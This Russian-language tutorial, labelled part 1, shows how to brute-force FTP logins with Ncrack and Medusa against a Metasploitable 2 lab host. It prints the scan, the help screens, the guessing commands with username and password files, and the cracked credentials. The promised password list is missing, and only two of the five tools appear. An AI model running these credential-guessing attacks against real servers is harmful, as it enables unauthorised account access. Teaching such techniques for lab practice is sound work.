5 утилит для брутфорса учетных записей FTP сервера. Часть 1
ВНИМАНИЕ!!!! АВТОР ДАННОЙ СТАТЬИ НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБЫЕ ДЕЙСТВИЯ ОТ ЕЕ ПРОЧТЕНИЯ. ВСЕ МАТЕРИАЛЫ ПРЕДОСТАВЛЕНЫ В ИСКЛЮЧИТЕЛЬНО ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ!
В этой статье мы рассмотрели методы брутфорса учетных записей FTP серверов при помощи утилит Ncrack, Medusa, Hydra, Patator и Metasploit
Зачастую хакеры находят полезную информацию в самых обычных местах, как, например, на FTP серверах. Иногда получается еще более удачный расклад, когда доступен анонимный вход (то есть залогиниться может любой желающий), но в большинстве случаев требуется рабочая учетная запись. Существует несколько методов прямого перебора этих аккаунтов с целью последующего получения доступа к FTP серверу.
Введение
Протокол FTP (File Transfer Protocol) представляет собой сетевой протокол, используемый для передачи файлов по модели клиент-сервер, когда пользователь подключается к серверу при помощи клиента. Аутентификация осуществляется при помощи имени пользователя и пароля, обычно передаваемых в виде обычного текста. Однако могут быть доступны логины и для анонимного входа.
Обычно FTP сервер использует порт 21, но может быть сконфигурирован на нестандартный порт. Подобные сервера часто используется веб-разработчиками и могут быть обнаружены в крупных организациях, где передача файлов является неотъемлемой частью.
Первоначальная установка
Прежде, чем мы начнем, запустим простейшее сканирование целевого сервера при помощи Nmap, чтобы убедиться в наличие службы FTP. В качестве цели будет использоваться тестовая среда Metasploitable 2, а в качестве рабочей машины — Kali Linux.
~# nmap -sV 10.10.0.50 -p 21 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 11:10 CDT Nmap scan report for 10.10.0.50 Host is up (0.00067s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 MAC Address: 00:1D:09:55:B1:3B (Dell) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
Прекрасно. Служба FTP работает и доступна для подключения
Далее создаем два текстовых файлов. В первом будет список имен пользователей, во втором – пароли. В реальной ситуации этот перечень был бы намного больше, но в демонстрационном примере с целью ускорить процесс будет использоваться небольшой список.
Создайте текстовый файл в вашем любимом редакторе и добавьте несколько наиболее распространенных имен пользователей.
root admin user ftp steve
И паролей.
Метод 1: Ncrack
Ncrack — первая утилита, которую мы будем использовать. В терминале введите команду ncrack без параметров для получения справочной информации и доступные опции.
~# ncrack
Ncrack 0.7 ( http://ncrack.org )
Usage: ncrack [Options] {target and service specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iX : Input from Nmap's -oX XML output format
-iN : Input from Nmap's -oN Normal output format
-iL : Input from list of hosts/networks
--exclude : Exclude hosts/networks
--excludefile : Exclude list from file
SERVICE SPECIFICATION:
Can pass target specific services in ://target (standard) notation or
using -p which will be applied to all hosts in non-standard notation.
Service arguments can be specified to be host-specific, type of service-specific
(-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000
Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl
-p : services will be applied to all non-standard notation hosts
-m :: options will be applied to all services of this type
-g : options will be applied to every service globally
Misc options:
ssl: enable SSL over this service
path : used in modules like HTTP ('=' needs escaping if used)
db : used in modules like MongoDB to specify the database
domain : used in modules like WinRM to specify the domain
TIMING AND PERFORMANCE:
Options which take are in seconds, unless you append 'ms'
(milliseconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
Service-specific options:
cl (min connection limit): minimum number of concurrent parallel connections
CL (max connection limit): maximum number of concurrent parallel connections
at (authentication tries): authentication attempts per connection
cd (connection delay): delay between each connection initiation
cr (connection retries): caps number of service connection attempts
to (time-out): maximum cracking for service, regardless of success so far
-T<0-5>: Set timing template (higher is faster)
--connection-limit : threshold for total concurrent connections
--stealthy-linear: try credentials using only one connection against each specified host
until you hit the same host again. Overrides all other timing options.
AUTHENTICATION:
-U : username file
-P : password file
--user : comma-separated username list
--pass : comma-separated password list
--passwords-first: Iterate password list for each username. Default is opposite.
--pairwise: Choose usernames and passwords in pairs.
OUTPUT:
-oN/-oX : Output scan in normal and XML format, respectively, to the given filename.
-oA : Output in the two major formats at once
-v: Increase verbosity level (use twice or more for greater effect)
-d[level]: Set or increase debugging level (Up to 10 is meaningful)
--nsock-trace : Set nsock trace level (Valid range: 0 - 10)
--log-errors: Log errors/warnings to the normal-format output file
--append-output: Append to rather than clobber specified output files
MISC:
--resume : Continue previously saved session
--save : Save restoration file with specific filename
-f: quit cracking service after one found credential
-6: Enable IPv6 cracking
-sL or --list: only list hosts and services
--datadir : Specify custom Ncrack data file location
--proxy : Make connections via socks4, 4a, http.
-V: Print version number
-h: Print this help summary page.
MODULES:
SSH, RDP, FTP, Telnet, HTTP(S), WordPress, POP3(S), IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, DICOM
EXAMPLES:
ncrack -v --user root localhost:22
ncrack -v -T5 https://192.168.0.1
ncrack -v -iX ~/nmap.xml -g CL=5,to=1h
SEE THE MAN PAGE (http://nmap.org/ncrack/man.html) FOR MORE OPTIONS AND EXAMPLES
Как видно из листинга выше, доступно множество опций, но мы затронем лишь самые основы.
Мы будем использовать флаг –U с целью указания файла с именами пользователей и флаг -P для файла с паролями. Затем укажите целевой IP адрес с префиксом ftp://.
~# ncrack -U usernames.txt -P passwords.txt ftp://10.10.0.50 Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-10 11:24 CDT Discovered credentials for ftp on 10.10.0.50 21/tcp: 10.10.0.50 21/tcp ftp: 'ftp' 'password' 10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t' 10.10.0.50 21/tcp ftp: 'ftp' 'user' 10.10.0.50 21/tcp ftp: 'ftp' 'Password1' 10.10.0.50 21/tcp ftp: 'user' 'user' 10.10.0.50 21/tcp ftp: 'ftp' 'hunter2' Ncrack done: 1 service scanned in 15.01 seconds. Ncrack finished.
В результате удалось обнаружить рабочие учетные записи user и ftp. Повторяющееся имя user говорит о доступности анонимного входа для этого пользователя, когда подойдет любой пароль.
Мы также можем указать номер порта в явном виде, что полезно, если служба работает на нестандартном порту. Флаг –v позволяет вывести более подробную информацию во время сканирования.
~# ncrack -U usernames.txt -P passwords.txt 10.10.0.50:21 -v Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-10 11:26 CDT Discovered credentials on ftp://10.10.0.50:21 'ftp' 'password' Discovered credentials on ftp://10.10.0.50:21 'ftp' 's3cr3t' Discovered credentials on ftp://10.10.0.50:21 'ftp' 'user' Discovered credentials on ftp://10.10.0.50:21 'user' 'user' Discovered credentials on ftp://10.10.0.50:21 'ftp' 'Password1' ftp://10.10.0.50:21 finished. Discovered credentials for ftp on 10.10.0.50 21/tcp: 10.10.0.50 21/tcp ftp: 'ftp' 'password' 10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t' 10.10.0.50 21/tcp ftp: 'ftp' 'user' 10.10.0.50 21/tcp ftp: 'user' 'user' 10.10.0.50 21/tcp ftp: 'ftp' 'Password1' Ncrack done: 1 service scanned in 15.00 seconds. Probes sent: 17 | timed-out: 0 | prematurely-closed: 0 Ncrack finished.
Метод 2: Medusa
Для просмотра доступных опций введите в терминале команду medusa:
~# medusa
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
ALERT: Host information must be supplied.
Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing usernames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entries. See README for more information.
-O [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)
-d : Dump all known modules
-n [NUM] : Use for non-default TCP port number
-s : Enable SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-c [NUM] : Time to wait in usec to verify socket is available (default 500 usec).
-t [NUM] : Total number of logins to be tested concurrently
-T [NUM] : Total number of hosts to be tested concurrently
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
-f : Stop scanning host after first valid username/password found.
-F : Stop audit after first valid username/password found on any host.
-b : Suppress startup banner
-q : Display module's usage information
-v [NUM] : Verbose level [0 - 6 (more)]
-w [NUM] : Error debug level [0 - 10 (more)]
-V : Display version
-Z [TEXT] : Resume scan based on map of previous scan
Перед запуском перебора нужно выяснить, какие модули доступны, при помощи флага –d.
~# medusa -d
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
Available modules in "." :
Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
+ cvs.mod : Brute force module for CVS sessions : version 2.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
+ http.mod : Brute force module for HTTP : version 2.1
+ imap.mod : Brute force module for IMAP sessions : version 2.0
+ mssql.mod : Brute force module for M$-SQL sessions : version 2.0
+ mysql.mod : Brute force module for MySQL sessions : version 2.0
+ nntp.mod : Brute force module for NNTP sessions : version 2.0
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
+ pop3.mod : Brute force module for POP3 sessions : version 2.0
+ postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
+ rexec.mod : Brute force module for REXEC sessions : version 2.0
+ rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
+ rsh.mod : Brute force module for RSH sessions : version 2.0
+ smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
+ smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
+ smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
+ snmp.mod : Brute force module for SNMP Community Strings : version 2.1
+ ssh.mod : Brute force module for SSH v2 sessions : version 2.1
+ svn.mod : Brute force module for Subversion sessions : version 2.1
+ telnet.mod : Brute force module for telnet sessions : version 2.0
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
+ vnc.mod : Brute force module for VNC sessions : version 2.1
+ web-form.mod : Brute force module for web forms : version 2.1
+ wrapper.mod : Generic Wrapper Module : version 2.0
Для запуска брутфорса используются следующие опции:
- Флаг –h позволяет указать хост.
- Флаг –U позволяет указать перечень имен пользователей.
- Флаг –P позволяет указать перечень паролей.
- Флаг –M позволяет указать используемый модуль.
После запуска команды с вышеуказанными опциями получаем следующие результаты:
~# medusa -h 10.10.0.50 -U usernames.txt -P passwords.txt -M ftp Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: password (1 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: s3cr3t (2 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: user (3 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: Password1 (4 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: hunter2 (5 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: password (1 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: s3cr3t (2 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: user (3 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: Password1 (4 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: hunter2 (5 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: password (1 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: s3cr3t (2 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: user (3 of 5 complete) ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: user Password: user [SUCCESS] ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: ftp (4 of 5, 3 complete) Password: password (1 of 5 complete) ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: ftp Password: password [SUCCESS] ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: password (1 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: s3cr3t (2 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: user (3 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: Password1 (4 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: hunter2 (5 of 5 complete)
В результате обнаружено две рабочие учетные записи.